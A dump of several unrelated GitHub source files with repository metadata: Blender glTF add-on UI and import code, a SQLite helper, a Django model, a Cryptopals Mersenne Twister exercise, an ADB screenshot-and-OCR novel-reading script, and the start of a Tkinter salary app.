True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_current_frame')\n row = layout.row()\n row.active = operator.export_animation_mode in ['ACTIONS', 'ACTIVE_ACTIONS', 'NLA_TRACKS']\n row.prop(operator, 'export_frame_range')\n layout.prop(operator, 'export_anim_slide_to_zero')\n row = layout.row()\n row.active = operator.export_animation_mode in ['ACTIONS', 'ACTIVE_ACTIONS', 'NLA_TRACKS']\n layout.prop(operator, 'export_negative_frame')\n\nclass GLTF_PT_export_animation_armature(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Armature\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_anim_single_armature')\n layout.prop(operator, 'export_reset_pose_bones')\n\nclass GLTF_PT_export_animation_shapekeys(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Shape Keys Animation\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.active = operator.export_animations and operator.export_morph\n self.layout.prop(operator, \"export_morph_animation\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_morph_reset_sk_data')\n\n\nclass GLTF_PT_export_animation_sampling(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Sampling Animations\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.active = operator.export_animations and operator.export_animation_mode in ['ACTIONS', 'ACTIVE_ACTIONS']\n self.layout.prop(operator, \"export_force_sampling\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_frame_step')\n\n\nclass GLTF_PT_export_animation_optimize(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Optimize Animations\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_optimize_animation_size')\n\n row = layout.row()\n row.prop(operator, 'export_optimize_animation_keep_anim_armature')\n\n row = layout.row()\n row.prop(operator, 'export_optimize_animation_keep_anim_object')\n\n\nclass GLTF_PT_export_user_extensions(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Exporter Extensions\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\" and operator.has_active_exporter_extensions\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\nclass GLTF_PT_import_user_extensions(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Importer Extensions\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n return operator.bl_idname == \"IMPORT_SCENE_OT_gltf\" and operator.has_active_importer_extensions\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\nclass ExportGLTF2(bpy.types.Operator, ExportGLTF2_Base, ExportHelper):\n \"\"\"Export scene as glTF 2.0 file\"\"\"\n bl_idname = 'export_scene.gltf'\n bl_label = 'Export glTF 2.0'\n\n filename_ext = ''\n\n filter_glob: StringProperty(default='*.glb', options={'HIDDEN'})\n\n\ndef menu_func_export(self, context):\n self.layout.operator(ExportGLTF2.bl_idname, text='glTF 2.0 (.glb/.gltf)')\n\n\nclass ImportGLTF2(Operator, ConvertGLTF2_Base, ImportHelper):\n \"\"\"Load a glTF 2.0 file\"\"\"\n bl_idname = 'import_scene.gltf'\n bl_label = 'Import glTF 2.0'\n bl_options = {'REGISTER', 'UNDO'}\n\n filter_glob: StringProperty(default=\"*.glb;*.gltf\", options={'HIDDEN'})\n\n files: CollectionProperty(\n name=\"File Path\",\n type=bpy.types.OperatorFileListElement,\n )\n\n loglevel: IntProperty(\n name='Log Level',\n description=\"Log Level\")\n\n import_pack_images: BoolProperty(\n name='Pack Images',\n description='Pack all images into .blend file',\n default=True\n )\n\n merge_vertices: BoolProperty(\n name='Merge Vertices',\n description=(\n 'The glTF format requires discontinuous normals, UVs, and '\n 'other vertex attributes to be stored as separate vertices, '\n 'as required for rendering on typical graphics hardware. '\n 'This option attempts to combine co-located vertices where possible. '\n 'Currently cannot combine verts with different normals'\n ),\n default=False,\n )\n\n import_shading: EnumProperty(\n name=\"Shading\",\n items=((\"NORMALS\", \"Use Normal Data\", \"\"),\n (\"FLAT\", \"Flat Shading\", \"\"),\n (\"SMOOTH\", \"Smooth Shading\", \"\")),\n description=\"How normals are computed during import\",\n default=\"NORMALS\")\n\n bone_heuristic: EnumProperty(\n name=\"Bone Dir\",\n items=(\n (\"BLENDER\", \"Blender (best for import/export round trip)\",\n \"Good for re-importing glTFs exported from Blender, \"\n \"and re-exporting glTFs to glTFs after Blender editing. \"\n \"Bone tips are placed on their local +Y axis (in glTF space)\"),\n (\"TEMPERANCE\", \"Temperance (average)\",\n \"Decent all-around strategy. \"\n \"A bone with one child has its tip placed on the local axis \"\n \"closest to its child\"),\n (\"FORTUNE\", \"Fortune (may look better, less accurate)\",\n \"Might look better than Temperance, but also might have errors. \"\n \"A bone with one child has its tip placed at its child's root. \"\n \"Non-uniform scalings may get messed up though, so beware\"),\n ),\n description=\"Heuristic for placing bones. Tries to make bones pretty\",\n default=\"BLENDER\",\n )\n\n guess_original_bind_pose: BoolProperty(\n name='Guess Original Bind Pose',\n description=(\n 'Try to guess the original bind pose for skinned meshes from '\n 'the inverse bind matrices. '\n 'When off, use default/rest pose as bind pose'\n ),\n default=True,\n )\n\n import_webp_texture: BoolProperty(\n name='Import WebP textures',\n description=(\n \"If a texture exists in WebP format, \"\n \"loads the WebP texture instead of the fallback PNG/JPEG one\"\n ),\n default=False,\n )\n\n def draw(self, context):\n layout = self.layout\n\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n layout.prop(self, 'import_pack_images')\n layout.prop(self, 'merge_vertices')\n layout.prop(self, 'import_shading')\n layout.prop(self, 'guess_original_bind_pose')\n layout.prop(self, 'bone_heuristic')\n layout.prop(self, 'export_import_convert_lighting_mode')\n layout.prop(self, 'import_webp_texture')\n\n def invoke(self, context, event):\n import sys\n preferences = bpy.context.preferences\n for addon_name in preferences.addons.keys():\n try:\n if hasattr(sys.modules[addon_name], 'glTF2ImportUserExtension') or hasattr(sys.modules[addon_name], 'glTF2ImportUserExtensions'):\n importer_extension_panel_unregister_functors.append(sys.modules[addon_name].register_panel())\n except Exception:\n pass\n\n self.has_active_importer_extensions = len(importer_extension_panel_unregister_functors) > 0\n return ImportHelper.invoke(self, context, event)\n\n def execute(self, context):\n return self.import_gltf2(context)\n\n def import_gltf2(self, context):\n import os\n\n self.set_debug_log()\n import_settings = self.as_keywords()\n\n user_extensions = []\n\n import sys\n preferences = bpy.context.preferences\n for addon_name in preferences.addons.keys():\n try:\n module = sys.modules[addon_name]\n except Exception:\n continue\n if hasattr(module, 'glTF2ImportUserExtension'):\n extension_ctor = module.glTF2ImportUserExtension\n user_extensions.append(extension_ctor())\n import_settings['import_user_extensions'] = user_extensions\n\n if self.files:\n # Multiple file import\n ret = {'CANCELLED'}\n dirname = os.path.dirname(self.filepath)\n for file in self.files:\n path = os.path.join(dirname, file.name)\n if self.unit_import(path, import_settings) == {'FINISHED'}:\n ret = {'FINISHED'}\n return ret\n else:\n # Single file import\n return self.unit_import(self.filepath, import_settings)\n\n def unit_import(self, filename, import_settings):\n import time\n from .io.imp.gltf2_io_gltf import glTFImporter, ImportError\n from .blender.imp.gltf2_blender_gltf import BlenderGlTF\n\n try:\n gltf_importer = glTFImporter(filename, import_settings)\n gltf_importer.read()\n gltf_importer.checks()\n\n print(\"Data are loaded, start creating Blender stuff\")\n\n start_time = time.time()\n BlenderGlTF.create(gltf_importer)\n elapsed_s = \"{:.2f}s\".format(time.time() - start_time)\n print(\"glTF import finished in \" + elapsed_s)\n\n gltf_importer.log.removeHandler(gltf_importer.log_handler)\n\n return {'FINISHED'}\n\n except ImportError as e:\n self.report({'ERROR'}, e.args[0])\n return {'CANCELLED'}\n\n def set_debug_log(self):\n import logging\n if bpy.app.debug_value == 0:\n self.loglevel = logging.CRITICAL\n elif bpy.app.debug_value == 1:\n self.loglevel = logging.ERROR\n elif bpy.app.debug_value == 2:\n self.loglevel = logging.WARNING\n elif bpy.app.debug_value == 3:\n self.loglevel = logging.INFO\n else:\n self.loglevel = logging.NOTSET\n\n\ndef gltf_variant_ui_update(self, context):\n from .blender.com.gltf2_blender_ui import variant_register, variant_unregister\n if self.KHR_materials_variants_ui is True:\n # register all needed types\n variant_register()\n else:\n variant_unregister()\n\ndef gltf_animation_ui_update(self, context):\n from .blender.com.gltf2_blender_ui import anim_ui_register, anim_ui_unregister\n if self.animation_ui is True:\n # register all needed types\n anim_ui_register()\n else:\n anim_ui_unregister()\n\nclass GLTF_AddonPreferences(bpy.types.AddonPreferences):\n bl_idname = __package__\n\n settings_node_ui : bpy.props.BoolProperty(\n default= False,\n description=\"Displays glTF Material Output node in Shader Editor (Menu Add > Output)\"\n )\n\n KHR_materials_variants_ui : bpy.props.BoolProperty(\n default= False,\n description=\"Displays glTF UI to manage material variants\",\n update=gltf_variant_ui_update\n )\n\n animation_ui: bpy.props.BoolProperty(\n default=False,\n description=\"Display glTF UI to manage animations\",\n update=gltf_animation_ui_update\n )\n\n def draw(self, context):\n layout = self.layout\n row = layout.row()\n row.prop(self, \"settings_node_ui\", text=\"Shader Editor Add-ons\")\n row.prop(self, \"KHR_materials_variants_ui\", text=\"Material Variants\")\n row.prop(self, \"animation_ui\", text=\"Animation UI\")\n\ndef menu_func_import(self, context):\n self.layout.operator(ImportGLTF2.bl_idname, text='glTF 2.0 (.glb/.gltf)')\n\n\nclasses = (\n ExportGLTF2,\n GLTF_PT_export_main,\n GLTF_PT_export_include,\n GLTF_PT_export_transform,\n GLTF_PT_export_data,\n GLTF_PT_export_data_scene,\n GLTF_PT_export_data_mesh,\n GLTF_PT_export_data_material,\n GLTF_PT_export_data_shapekeys,\n GLTF_PT_export_data_sk_optimize,\n GLTF_PT_export_data_armature,\n GLTF_PT_export_data_skinning,\n GLTF_PT_export_data_lighting,\n GLTF_PT_export_data_compression,\n GLTF_PT_export_animation,\n GLTF_PT_export_animation_notes,\n GLTF_PT_export_animation_ranges,\n GLTF_PT_export_animation_armature,\n GLTF_PT_export_animation_shapekeys,\n GLTF_PT_export_animation_sampling,\n GLTF_PT_export_animation_optimize,\n GLTF_PT_export_user_extensions,\n ImportGLTF2,\n GLTF_PT_import_user_extensions,\n GLTF_AddonPreferences\n)\n\n\ndef register():\n from .blender.com import gltf2_blender_ui as blender_ui\n for c in classes:\n bpy.utils.register_class(c)\n # bpy.utils.register_module(__name__)\n\n blender_ui.register()\n if bpy.context.preferences.addons['io_scene_gltf2'].preferences.KHR_materials_variants_ui is True:\n blender_ui.variant_register()\n if bpy.context.preferences.addons['io_scene_gltf2'].preferences.animation_ui is True:\n blender_ui.anim_ui_register()\n\n # add to the export / import menu\n bpy.types.TOPBAR_MT_file_export.append(menu_func_export)\n bpy.types.TOPBAR_MT_file_import.append(menu_func_import)\n\n\ndef unregister():\n from .blender.com import gltf2_blender_ui as blender_ui\n blender_ui.unregister()\n if bpy.context.preferences.addons['io_scene_gltf2'].preferences.KHR_materials_variants_ui is True:\n blender_ui.variant_unregister()\n\n for c in classes:\n bpy.utils.unregister_class(c)\n for f in exporter_extension_panel_unregister_functors:\n f()\n exporter_extension_panel_unregister_functors.clear()\n\n for f in importer_extension_panel_unregister_functors:\n f()\n importer_extension_panel_unregister_functors.clear()\n\n # bpy.utils.unregister_module(__name__)\n\n # remove from the export / import menu\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_export)\n bpy.types.TOPBAR_MT_file_import.remove(menu_func_import)\n","repo_name":"KhronosGroup/glTF-Blender-IO","sub_path":"addons/io_scene_gltf2/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":67390,"program_lang":"python","lang":"en","doc_type":"code","stars":1363,"dataset":"github-code","pt":"48"} +{"seq_id":"32324157590","text":"import sqlite3\r\n\r\nclass DB:\r\n def __init__(self, db_name):\r\n self.db_name = db_name\r\n self.conn = sqlite3.connect(db_name)\r\n self.cur = self.conn.cursor()\r\n self.create_table()\r\n \r\n def create_table(self):\r\n sql = \"\"\"CREATE TABLE IF NOT EXISTS users (\r\n id INTEGER PRIMARY KEY,\r\n name TEXT,\r\n email TEXT UNIQUE,\r\n trial_end TEXT,\r\n ended BOOLEAN DEFAULT 0\r\n )\"\"\"\r\n self.cur.execute(sql)\r\n self.conn.commit()\r\n \r\n def insert(self, id, name, email, trial_end):\r\n sql = \"\"\"INSERT INTO users (id, name, email, trial_end)\r\n VALUES (?, ?, ?, ?)\"\"\"\r\n self.cur.execute(sql, (id, name, email, trial_end))\r\n self.conn.commit()\r\n \r\n def update_user(self, id, name, email, trial_end, ended):\r\n sql = \"\"\"UPDATE users SET name = ?, email = ?, trial_end = ?, ended = ? WHERE id = ?\"\"\"\r\n self.cur.execute(sql, (name, email, trial_end, ended, id))\r\n self.conn.commit()\r\n \r\n def get_user(self, id):\r\n sql = \"\"\"SELECT * FROM users WHERE id = ?\"\"\"\r\n self.cur.execute(sql, (id,))\r\n return self.cur.fetchone()\r\n \r\n def get_all_users(self):\r\n sql = \"\"\"SELECT * FROM users\"\"\"\r\n self.cur.execute(sql)\r\n return self.cur.fetchall()\r\n \r\n def remove_user(self, id):\r\n sql = \"\"\"DELETE FROM users WHERE id = ?\"\"\"\r\n self.cur.execute(sql, (id,))\r\n self.conn.commit()","repo_name":"zluckytraveler/Discord-Plex-Trial","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"3503279706","text":"import uuid\nfrom django.db import models\n\n\nclass EmpresaCompradora(models.Model):\n EmpresaCompradoraID = models.UUIDField(\n unique=True, default=uuid.uuid4, editable=False)\n RazonSocial = models.CharField(\n max_length=150,\n #unique=True,\n null=True,\n blank=True)\n Rut = models.CharField(\n #unique=True,\n max_length=12,\n null=True,\n blank=True)\n Address = models.CharField(max_length=150, null=True, blank=True)\n ClienteID = models.ForeignKey(\n 'Cliente',\n related_name='empresa_cliente',\n on_delete=models.CASCADE,\n null=True,\n blank=True\n )\n\n def __str__(self):\n return str(self.EmpresaCompradoraID)\n","repo_name":"edisonjao5/coded_5.github.io","sub_path":"original-backend/ventas/models/empresas_compradoras.py","file_name":"empresas_compradoras.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37060314014","text":"'''\n 21. Implement the MT19937 Mersenne Twister RNG\n\n You can get the psuedocode for this from Wikipedia. If you're writing\n in Python, Ruby, or (gah) PHP, your language is probably already\n giving you MT19937 as \"rand()\"; don't use rand(). Write the RNG\n yourself.\n\n'''\n\nclass MersenneTwister(object):\n def __init__(self, seed):\n # Create a length 624 array to store the state of the generator\n self.len = 624\n self.MT = [None] * self.len\n self.index = 0\n self.mask = (2**32) - 1\n self.Zerox8 =2**31\n self.init_gen(seed)\n \n def init_gen(self, seed):\n self.MT[0] = seed\n\n # loop over each other element\n for i in range(1, self.len):\n self.MT[i] = (1812433253 * (self.MT[i-1] ^ (self.MT[i-1] >> 30)) + i) & self.mask\n \n def extract_num(self):\n if (self.index == 0):\n self.generate_numbers()\n \n y = self.MT[self.index]\n y ^= y >> 11\n y ^= (y << 7) & 2636928640\n y ^= (y << 15) & 4022730752\n y ^= y >> 18\n \n self.index = (self.index + 1) % 624\n return y\n \n def generate_numbers(self):\n for i in range(self.len):\n y = (self.MT[i] & self.Zerox8) + (self.MT[(i+1) % self.len] & (self.Zerox8 - 1))\n self.MT[i] = self.MT[(i + 397) % self.len] ^ (y >> 1)\n \n if y % 2:\n self.MT[i] ^= 2567483615\n \ndef main():\n x = MersenneTwister(1)\n mersenne_test_vector = [\n 1791095845, \n 4282876139,\n 3093770124,\n 4005303368,\n 491263,\n 550290313,\n 1298508491,\n 4290846341,\n 630311759,\n 1013994432,\n ]\n \n for i in range(10):\n assert x.extract_num() == mersenne_test_vector[i]\n\n \nif __name__ == '__main__':\n main()","repo_name":"jroblak/Cryptopals","sub_path":"part 3/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18668152013","text":"import pytesseract\nfrom PIL import Image\nimport aircv as ac\nimport os\nimport threading\nimport re\nimport queue\nimport logging\nimport time\nimport imgsimilary\nimport shutil\n\ncut_region = (0,80,720,1230)\nis_running = False\nrecog_queue = queue.Queue()\nlogging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO\n )\n#\ndef cut_img(file:str,coor:tuple):#(left, upper, right, lower)\n with Image.open(file) as img:\n cut = img.crop(coor)\n cut.save(file)\n logging.info('Cut file \"{}\", {}->{}'.format(file,img.size,coor))\n\ndef match_img(imgsrc,imgobj,confvalue=0.7):#imgsrc=原始图像,imgobj=待查找的图片\n imsrc = ac.imread(imgsrc)\n imobj = ac.imread(imgobj)\n \n match_result = ac.find_template(imsrc,imobj,confvalue) # {'confidence': 0.5435812473297119, 'rectangle': ((394, 384), (394, 416), (450, 384), (450, 416)), 'result': (422.0, 400.0)}\n if match_result is not None:\n match_result['shape']=(imsrc.shape[1],imsrc.shape[0])#0为高,1为宽\n\n return match_result\n\ndef is_target_in_img(imgsrc,imgobj,confvalue=0.5):\n if match_img(imgsrc,imgobj,confvalue):\n return True\n else:\n return False\n\ndef check_connect():\n with os.popen('adb devices') as pipe:\n rv = pipe.read()\n if 'offline' in rv or rv == 'List of devices attached\\n\\n':\n return False\n else:\n return True\n\ndef get_screensize():\n with os.popen('adb shell wm size') as pipe:\n rv = pipe.read()\n if rv.startswith('Physical size: '):\n size = tuple([int(i) for i in rv[15:-1].split('x')])\n logging.info(f'The screen size of the device is {size}')\n return size\n else:\n return None\n\ndef screencap(file='./tmp/screenshot.png'):\n assert os.system('adb exec-out screencap -p > '+file)==0\n logging.info('Save screenshot as \"%s\"'%file)\n\n#com.sfacg/com.sf.ui.novel.reader.ReaderActivity\ndef get_activity():\n with os.popen('adb shell dumpsys window | findstr mCurrentFocus') as pipe:\n rv = pipe.read()\n if 'mCurrentFocus' in rv:\n act = rv.strip().split(' ')[-1][:-1]\n logging.info('Current activity is '+act)\n return act\n else:\n return None\n\ndef check_status():\n if 'com.sfacg/com.sf.ui.novel.reader.ReaderActivity' in get_activity():\n return True\n else:\n return False\n\ndef inputkey(keycode:str):# KEYCODE_VOLUME_UP KEYCODE_VOLUME_DOWN\n assert os.system('adb shell input keyevent '+keycode)==0\n logging.info('Sent key: '+keycode)\n\ndef inputstr(string):\n assert os.system('adb shell input text '+string)==0\n logging.info('Sent string: '+string)\n\ndef tap(x,y):\n assert os.system(f'adb shell input tap {x} {y}')==0\n logging.info(f'Click ({x},{y})')\n\ndef extract_words(imgfile,langs='chi_sim',config=''):\n img = Image.open(imgfile)\n text = pytesseract.image_to_string(img,lang=langs,config=config)\n logging.info(f'OCR \"{imgfile}\", lang={langs}')\n return text.replace(' ','')\n\ndef auto_recognize_daemon(outputfile,writemode='w+'):\n target = None\n errcounter = 0\n with open(outputfile,writemode,encoding='utf-8',errors='replace') as file:\n while is_running or not recog_queue.empty():\n if target:\n try:\n text = extract_words(target)\n except Exception as e:\n errcounter += 1\n print('OCR Error:',str(e))\n if errcounter >= 3:\n pass\n print('OCR Skip:',target)\n else:\n continue\n else:\n errcounter = 0\n file.write(text)\n if recog_queue.empty():\n time.sleep(0.1)\n else:\n target = recog_queue.get()\n logging.info('OCR Queue length: '+str(recog_queue.qsize()))\n logging.info('OCR队列完成.')\n\ndef askforchoice(desc,choicedict): #{输入:选项}\n choice = None\n while not choice in choicedict.keys():\n choice = input(desc+'\\n'+'\\n'.join([' %s) %s'%(i[0],i[1]) for i in choicedict.items()])+'\\n你选择:')\n return choice\n \ndef main():\n global recog_queue\n global is_running\n print('正在删除上一次的临时文件夹...')\n if os.path.exists('./tmp/'):\n shutil.rmtree('./tmp/')\n os.mkdir('./tmp/')\n \n mode = askforchoice('选择一个模式开始:',\n {'1':'一直爬到全书完(建议预先全部订阅)',\n '2':'只爬指定的页数'})\n mode = int(mode)\n cycle = 0\n if mode == 2:\n cycle = int(input('目标页数:'))\n writemode = {'1':'w+','2':'a+'}[askforchoice('写入模式:',\n {'1':'覆盖写入',\n '2':'追加写入'})]\n if not os.path.exists('./output/'):\n os.mkdir('./output/')\n is_available = False\n while not is_available:\n input('确保一切就绪后按下Enter键.')\n is_available = check_status()\n filename = re.sub(r'[\\/\\\\\\:\\*\\?\\\"\\<\\>\\|]','_',input('为本次爬取的文件取个名字:').strip())\n if not filename:\n filename = str(time.time())\n filename += '.txt'\n os.system('cls')\n print('最终的输出文件名将会是:'+filename)\n print('正在检查设备...')\n screensize = get_screensize()\n inputkey('KEYCODE_VOLUME_DOWN')\n inputkey('KEYCODE_VOLUME_UP')\n screencap('./tmp/test.png')\n stopreason = '用户中断操作'\n counter = 1\n time.sleep(2)\n print('=============任务开始=============')\n try:\n if cycle and counter >= cycle:\n stopreason = '达到设定页数'\n raise KeyboardInterrupt\n is_running = True\n rec_thread = threading.Thread(target=auto_recognize_daemon,args=(\n os.path.join('./output',filename),writemode))\n rec_thread.start()\n imgfile = None\n lastimgfile = None\n while True:\n if not check_status():\n is_available = False\n while not is_available:\n input('确保一切就绪后按下Enter键,程序会继续工作.')\n is_available = check_status()\n lastimgfile = imgfile\n imgfile = f'./tmp/{time.time()}.png'\n screencap(imgfile)\n if lastimgfile and imgfile:\n if imgsimilary.similary_calculate(lastimgfile,imgfile,1) > 0.95:\n continue\n if is_target_in_img(imgfile,'./samples/complete_sign.png'):\n stopreason = '任务完成'\n raise KeyboardInterrupt\n if is_target_in_img(imgfile,'./samples/end_sign.png'):\n stopreason = '遇到未解锁的VIP章节'\n raise KeyboardInterrupt\n cut_img(imgfile,cut_region)\n recog_queue.put(imgfile)\n inputkey('KEYCODE_VOLUME_DOWN')\n counter += 1\n except Exception as e:\n if not isinstance(e,KeyboardInterrupt):\n stopreason = str(e)\n finally:\n is_running = False\n print('主任务结束:%s,正在等待后台OCR程序结束...'%stopreason)\n rec_thread.join()\n print('=============任务结束=============')\n os.system('pause')\n\nif __name__ == '__main__':\n main()\n","repo_name":"NingmengLemon/SFacgSpyder","sub_path":"adb_ver/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7544,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"31287773224","text":"from tkinter import *\r\nfrom tkinter import ttk\r\n#from matplotlib.figure import Figure\r\nfrom tkcalendar import *\r\nfrom DAL.Entity.User import User\r\n\r\n\r\n#for plot\r\n#import matplotlib.pyplot as plt\r\n#from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\n\r\n\r\nclass ViewTabs():\r\n \"Class which represents a new window after logged in \" \r\n def __init__(self,main_view_model,user):\r\n \r\n #main declaration\r\n #region\r\n\r\n #create variable for set main_view_model\r\n self.mainviewmodel = main_view_model\r\n #create variable for set a view-model viewtabsmodel\r\n self.viewtabsmodel = main_view_model.viewtabsmodel\r\n #get object of user, which already logging in\r\n self.actualuser = user\r\n\r\n #configuring the main window\r\n self.rootofviewtabs = Tk()\r\n #set title of window\r\n self.rootofviewtabs.title(\"Salary-managment\")\r\n #minsize and maxsize of window\r\n #self.rootofviewtabs.minsize(height=600,width=600)\r\n #self.rootofviewtabs.maxsize(height=700)\r\n #block changing size of window\r\n self.rootofviewtabs.resizable(False,False)\r\n #create notebook based on roofofviewtabs\r\n self.my_notebook = ttk.Notebook(self.rootofviewtabs)\r\n #do padding (upper part of window )\r\n self.my_notebook.pack(pady=15)\r\n \r\n\r\n\r\n #create frame 1\r\n self.my_frame1 = Frame(self.my_notebook, bg=\"green\")\r\n \r\n #create frame 2\r\n self.my_frame2 = Frame(self.my_notebook, bg=\"pink\")\r\n\r\n #create frame 3\r\n self.my_frame3 = Frame(self.my_notebook, bg=\"brown\")\r\n\r\n #create frame 4\r\n self.my_frame4 = Frame(self.my_notebook, bg=\"white\")\r\n \r\n #create frame 5\r\n self.my_frame5 = Frame(self.my_notebook, bg = \"white\")\r\n\r\n #endregion\r\n\r\n\r\n #view region frame - 1\r\n #region\r\n\r\n #getting firstname\r\n firstname = self.viewtabsmodel.get_firstname(user)\r\n #get the dayjob\r\n self.dayjob = self.viewtabsmodel.get_dayjob(user)\r\n\r\n #configure column to set the weight, which gives us a responsive columns\r\n my_frame1_rows = 10\r\n my_frame1_columns = 2\r\n for i in range(0,my_frame1_columns+1):\r\n self.my_frame1.columnconfigure(i,weight=1)\r\n for i in range(0,my_frame1_rows+1):\r\n self.my_frame1.rowconfigure(i,weight=1)\r\n \r\n #Calendar-label - label for welcome user by anem\r\n self.l_calendar = Label(self.my_frame1,text=\"Witaj \"+firstname,foreground=\"black\",bg=\"white\",font=(\"Arial\",12),borderwidth=2,relief=\"raised\")\r\n self.l_calendar.grid(row=0,column=0,columnspan=3,sticky=\"nsew\",padx=5,pady=5,ipadx=5,ipady=5) #nsew - filling in each direction \r\n\r\n\r\n\r\n #Calendar - special object (it was install by pip install tkcalendar)\r\n self.calendar = Calendar(self.my_frame1,selectmod = \"day\", year=self.today_year(), month=self.today_month(), day=self.today_day(),locale=\"pl_PL\",date_pattern=\"dd.mm.yyyy\")\r\n self.calendar.grid(row=1,column=0,columnspan=1,rowspan=5,padx=5)\r\n self.calendar.bind(\"<>\",self.refresh_and_get_hours)\r\n \r\n #Date text:wybrana data: \r\n self.l_date_d = Label(self.my_frame1,text=\"Wybrana data: \",width=20,borderwidth=2,relief=\"solid\")\r\n self.l_date_d.grid(row=1,column=1,columnspan=2, sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n\r\n #Day-month-year , which show us a chose day\r\n self.l_date = Label(self.my_frame1,text=self.today(),borderwidth=2,relief=\"solid\")\r\n self.l_date.grid(row=2,column=1,columnspan=2, sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n #text in label \"ilosc godzin\"\r\n self.l_hours_i = Label(self.my_frame1,text=\"Ilość godzin:\",borderwidth=2,relief=\"solid\")\r\n self.l_hours_i.grid(row=3,column=1,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #numbers of hours which are written to specific day\r\n self.e_hours = Entry(self.my_frame1,borderwidth=2,relief=\"solid\",justify=\"center\")\r\n self.e_hours.grid(row=4,column=1,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #button for setting to set specific number of hours to specific day\r\n self.b_set = Button(self.my_frame1,text=\"Ustaw\", command=self.set_hour_to_date)\r\n self.b_set.grid(row=5,column=1,rowspan=1,columnspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #button for delete the hours from the specific day\r\n self.b_delete = Button(self.my_frame1,text=\"Usuń\", command=self.delete_hour_from_schedule)\r\n self.b_delete.grid(row=5,column=2,rowspan=1,columnspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n #creating legend\r\n l = ['l4 - zwolnienie lekarskie\\n',\r\n 'd - dyzuru w danym dniu\\n',\r\n 'godzina - ustawienie ilosci']\r\n # if someone has \"zlecenie\" then he cant have l4\r\n if self.dayjob==\"-\":\r\n l = l[1::]\r\n l=\"\".join(l)\r\n\r\n #text label for legend, which describe, which 